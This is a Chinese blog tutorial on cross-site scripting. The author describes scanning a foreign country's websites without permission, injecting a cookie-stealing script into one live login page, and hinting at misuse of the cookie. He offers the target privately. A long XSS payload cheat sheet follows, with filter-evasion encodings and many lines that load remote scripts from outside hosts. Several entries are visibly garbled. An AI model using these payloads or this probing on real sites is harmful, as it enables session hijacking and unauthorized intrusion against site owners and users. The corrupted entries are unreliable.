兽哥出品---->XSS漏洞的原理与剖析

                Xss(跨站脚本***)

 

 

 

 

 

今天 兽哥又给大家带来一份干货,关于xss漏洞问题

 

 

Xss是一种基于html属性的*** 这是一种比较简单的方法 然而现在存在xss漏洞已经很少了

 

但是..注意 这里我用到了但是   

 

 

  我在挂代理 去国外找网站时  我发现某个渣渣国的很多很多网站存xss漏洞

 

 

  随便掏了一个给大家做一下尝试 讲解原理


嗷嗷叫!!!!

 

 

wKiom1lpaFqA_c6iAABHj-UDHyk547.jpg-wh_50





拉出来safe3   输入某网站 跑一下

   

可以看到  真的是很多啊 还有sql注入漏洞 

wKiom1lpaFujL8NtAAClSMxMY14415.png-wh_50


 

 

 

我随便选中一行把

 

这个很短 很舒服 我们就选它

 

我们来进行试验一下

 

这个网站 大体是这样的:

 

 

https://xxxx.com/login?f= 

 

页面肯定正常显示, 我这里只做原理讲解 具体网址 我不方便放在这里 有需要的可以私聊

我提供给你方法

然后呢 咱们在URL后面随便输入ddd 按回车 页面正常显示 然后注意! !!!!!

 

 

一定注意

 

 

这里有个小技巧

 

Ctrl+U 看网页源代码  然后呢 按Ctrl+F  在左下角输入框内搜索ddd字段

我们看一下ddd 这几个字符 出现在哪里

 

下图是具体页面:

wKioL1lpaFuiBRQzAAAJjKtQqWo225.png-wh_50


wKiom1lpaF2QiCdNAALm2XpA4Bw697.png-wh_50


wKioL1lpaF6CBLghAABRt4-TFNY789.png-wh_50

各位,我们可以看到,它目前出现在蓝色的地方这 当然也有其他的地方也有ddd字段 我这里就不作截屏了 拿出来一个作为例子

 

我们可以看到 这段location.href ‘’ ;代码呢  是很简单的  我们只需要闭合 外加注释掉后面的就可以了  我们这样构造

 

    

 

 

 

wKioL1lpaF7CXRxrAAAMGO7yau4774.png-wh_50

 

那么这样一段代码 在源码的原理是什么呢 我们来看一下

 

location.href ‘’><script>alert(document,cookie)</script> -- ’;  

 

前面黄色的呢 我用 ’> 将她 闭合掉了   后面的 ’; 我将它用 --  注释掉了  

然后执行我们的语句 <script>alert(document,cookie)</script>

 

这样 enter键 我们看看会得到什么

 

 

没错 页面返回来 cookie值

 

 

wKiom1lpaF_A3AQKAABSnuJ5fI0247.png-wh_50

 

得到cookie值我们能干嘛 你懂得 哈哈

 

 

收起邪恶的嘴脸:简单的来说  sql注入 就可以用到  联合cookie 注入方法

 

 

 好了 今天 就到这里 谢谢各位收看

 

 

 

 

 

 

下面呢 是我整理的 xss语句:

 

 

 

 

 

XSS基本探测pyload

<script>alert(“xss”)</script>

<script>alert(/xss/)</script>//双引号换成斜杠

<script>alert(‘xss’)</script>//用单引号

<script>alert("xss");</script>//用分号

<script>alert('xss');</script>

<script>alert(/xss/);</script>

<script>alert("jdq") //自动补全

 

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//用分号

<script>alert("xss");;;;;;;;;;;;;;;;;    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//空格+分号

 

<script>alert("xss");;;;;;;;;;;;;;;;;       ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//换行符

 

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//回车

单引号被过滤

<script>alert(/jdq/)</script>  //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显

JavaScript伪协议】回旋

<ahref="javascript:alert(/test/)">xss</a>

javascript伪协议】回旋

<ahref="javascript:alert(/test/)">xss</a>

alert被过滤

<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

img标记】

<img src=xonerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';>

on事件点击触发

//注意要用单引号 双引号不会触发

on事件点击触发

//注意要用单引号 双引号不会触发

【利用函数加密】

eval 函数配合编码

<script>eval(“js+16进制加密)</script>

 

<script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script>

编码要执行的语句

Alert(“xss”)

unicode加密】

<script>eval("unicode加密")</script>

//js unicode加密 解决alert()被过滤

<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>

格式

标记eval(“编码”) 结束标记

String.fromCharCod函数】

String.fromCharCode需要配合eval来实现,

构造

<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>

eval内容加引号相当于正常js语句来执行

不加引号,则是默认作为eval的其他参数语句来执

固定格式<script>eval(String.fromCharCode编码内容))</script>

String.fromCharCod函数】

String.fromCharCode需要配合eval来实现,

构造

<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>

eval内容加引号相当于正常js语句来执行

不加引号,则是默认作为eval的其他参数语句来执

固定格式<script>eval(String.fromCharCode编码内容))</script>

【各标签实战pyload
——————————————————-xss其他标签下的js用法总结大全––——————————–————————————

 

<imgsrc=javascript:document.write('<scr'+'ipt src=\'http://www.baidu.com/1.txt\'></scr'+'ipt>')></img>  //仅支持IE6

 

 

<imgsrc=javascript:window.s=document.createElement('script');window.s.src='http://lcx.cc/1.js';document.body.appendChild(window.s);></img>  //仅支持IE6

 

 

<imgsrc="pdpdp.gif"></img>  //通杀所有浏览器能触发xss

 

<img src="pdpdp.gif"></img>   //通杀所有浏览器 能触发xss

 

 

<img src=xonerror=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">

 

 

<input autofocus="bbbb" />

 

 

<objectdata="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>

 

<iframe width="0px"height="0px"src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></iframe>  ie不支持

 

<ahref="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3d3dy5wb29qeC5jb20vMS5qcz48L3NjcmlwdD4=">sb</a>

 

<anchor><img>(不执行js)<a>(需点击) <meta>.....

 

<anchoronload=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">

 

<svgonload=document.body.appendChild(document.CReateElement("scr"+"ipt")).src="http://www.baidu.com">

 

<svgonload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>

 

<baa id="1" tabindex=0>

 

 

 

 

(1)普通的XSS JavaScript注入

<SCRIPTSRC=http://3w.org/XSS/xss.js></SCRIPT>

 

(2)IMG标签XSS使用JavaScript命令

<SCRIPTSRC=http://3w.org/XSS/xss.js></SCRIPT>

 

(3)IMG标签无分号无引号

<IMG SRC=javascript:alert(‘XSS’)>

 

(4)IMG标签大小写不敏感

<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

 

(5)HTML编码(必须有分号)

<IMG SRC=javascript:alert(“XSS”)>

 

(6)修正缺陷IMG标签

<IMG“”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

 

(7)formCharCode标签

<IMGSRC=javascript:alert(String.fromCharCode(88,83,83))>

 

(8)UTF-8Unicode编码

<IMG SRC=jav..省略..S')>

 

(9)7位的UTF-8Unicode编码是没有分号的

<IMG SRC=jav..省略..S')>

 

(10)十六进制编码也是没有分号

<IMG SRC=\'#\'" /span>

 

(11)嵌入式标签,Javascript分开

<IMG SRC=\'#\'"ascript:alert(‘XSS’);”>

 

(12)嵌入式编码标签,Javascript分开

<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

 

(13)嵌入式换行符

<IMG SRC=\'#\'"ascript:alert(‘XSS’);”>

 

(14)嵌入式回车

<IMG SRC=\'#\'"ascript:alert(‘XSS’);”>

 

(15)嵌入式多行注入JavaScript,这是XSS极端的例子

<IMG SRC=\'#\'" /span>

 

(16)解决限制字符(要求同页面)

<script>z=’document.’</script>

<script>z=z+’write(“‘</script>

<script>z=z+’<script’</script>

<script>z=z+’ src=ht’</script>

<script>z=z+’tp://ww’</script>

<script>z=z+’w.shell’</script>

<script>z=z+’.net/1.’</script>

<script>z=z+’js></sc’</script>

<script>z=z+’ript>”)’</script>

<script>eval_r(z)</script>

 

(17)空字符

perl -e ‘print “<IMGSRC=Java\0script:alert(\”XSS\”)>”;’ > out

 

(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用

perl -e ‘print“<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

 

(19)Spacesmeta前的IMG标签

<IMG SRC=\'#\'"
  javascript:alert(‘XSS’);”>

 

(20)Non-alpha-non-digit XSS

<SCRIPT/XSS SRC=\'#\'"/span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>

 

(21)Non-alpha-non-digit XSS to 2

<BODYonload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

 

(22)Non-alpha-non-digit XSS to 3

<SCRIPT/SRC=\'#\'"/span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>

 

(23)双开括号

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

 

(24)无结束脚本标记(仅火狐等浏览器)

<SCRIPTSRC=http://3w.org/XSS/xss.js?<B>

 

(25)无结束脚本标记2

<SCRIPT SRC=//3w.org/XSS/xss.js>

 

(26)半开的HTML/JavaScriptXSS

<IMG SRC=\'#\'" /span>

 

(27)双开角括号

<iframe src=http://3w.org/XSS.html <

 

(28)无单引号 双引号 分号

<SCRIPT>a=/XSS/

alert(a.source)</SCRIPT>

 

(29)换码过滤的JavaScript

\”;alert(‘XSS’);//

 

(30)结束Title标签

</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

 

(31)Input Image

<INPUT SRC=\'#\'" /span>

 

(32)BODY Image

<BODYBACKGROUND=”javascript:alert(‘XSS’)”>

 

(33)BODY标签

<BODY(‘XSS’)>

 

(34)IMG Dynsrc

<IMG DYNSRC=\'#\'" /span>

 

(35)IMG Lowsrc

<IMG LOWSRC=\'#\'" /span>

 

(36)BGSOUND

<BGSOUND SRC=\'#\'" /span>

 

(37)STYLE sheet

<LINK REL=”stylesheet”HREF=”javascript:alert(‘XSS’);”>

 

(38)远程样式表

<LINK REL=”stylesheet”HREF=”[url=http://3w.org/xss.css]http://3w.org/xss.css[/url]”>

 

(39)List-style-p_w_picpath(列表式)

<STYLE>li {list-style-p_w_picpath:url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

 

(40)IMG VBscript

<IMG SRC=\'#\'"/STYLE><UL><LI>XSS

 

(41)META链接url

<META HTTP-EQUIV=”refresh” CONTENT=”0;URL=http://;URL=javascript:alert(‘XSS’);”>

 

(42)Iframe

<IFRAME SRC=\'#\'" /IFRAME>

 

(43)Frame

<FRAMESET><FRAME SRC=\'#\'"/FRAMESET>

 

(44)Table

<TABLEBACKGROUND=”javascript:alert(‘XSS’)”>

 

(45)TD

<TABLE><TDBACKGROUND=”javascript:alert(‘XSS’)”>

 

(46)DIV background-p_w_picpath

<DIV STYLE=”background-p_w_picpath:url(javascript:alert(‘XSS’))”>

 

(47)DIV background-p_w_picpath后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)

<DIV STYLE=”background-p_w_picpath: url(javascript:alert(‘XSS’))”>

 

(48)DIV expression

<DIV STYLE=”width: expression_r(alert(‘XSS’));”>

 

(49)STYLE属性分拆表达

<IMGSTYLE=”xss:expression_r(alert(‘XSS’))”>

 

(50)匿名STYLE(组成:开角号和一个字母开头)

<XSSSTYLE=”xss:expression_r(alert(‘XSS’))”>

 

(51)STYLE background-p_w_picpath

<STYLE>.XSS{background-p_w_picpath:url(“javascript:alert(‘XSS’)”);}</STYLE><ACLASS=XSS></A>

 

(52)IMG STYLE方式

exppression(alert(“XSS”))’>

 

(53)STYLE background

<STYLE><STYLEtype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>

 

(54)BASE

<BASEHREF=”javascript:alert(‘XSS’);//”>

 

(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS

<EMBED SRC=\'#\'"/span>[flash]http://3w.org/XSS/xss.swf[/flash]” ></EMBED>

 

                    

         

 


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章